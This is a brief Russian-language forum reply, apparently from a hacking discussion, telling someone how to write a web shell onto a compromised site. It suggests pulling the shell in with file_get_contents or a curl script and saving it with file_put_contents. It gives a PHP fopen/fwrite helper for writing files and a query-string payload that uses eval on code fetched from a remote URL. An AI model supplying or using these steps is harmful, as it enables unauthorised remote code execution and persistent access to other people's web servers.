Сорри не заметил, пробуй шелл записать через запрос файла file get content или пиши curl скрипт запроса шелла в тело переменной и записывай в файл. Можешь записать полностью файл через file_put_contents, или так.

function save_file($file,$content)

{

$open = fopen($file,'ab');

fwrite($open,$content."\r\n");

fclose($open);

}

?a=eval(file_get_contents('http://site.ru/bla_bla.txt'));

Ну это конечно самое простое. )))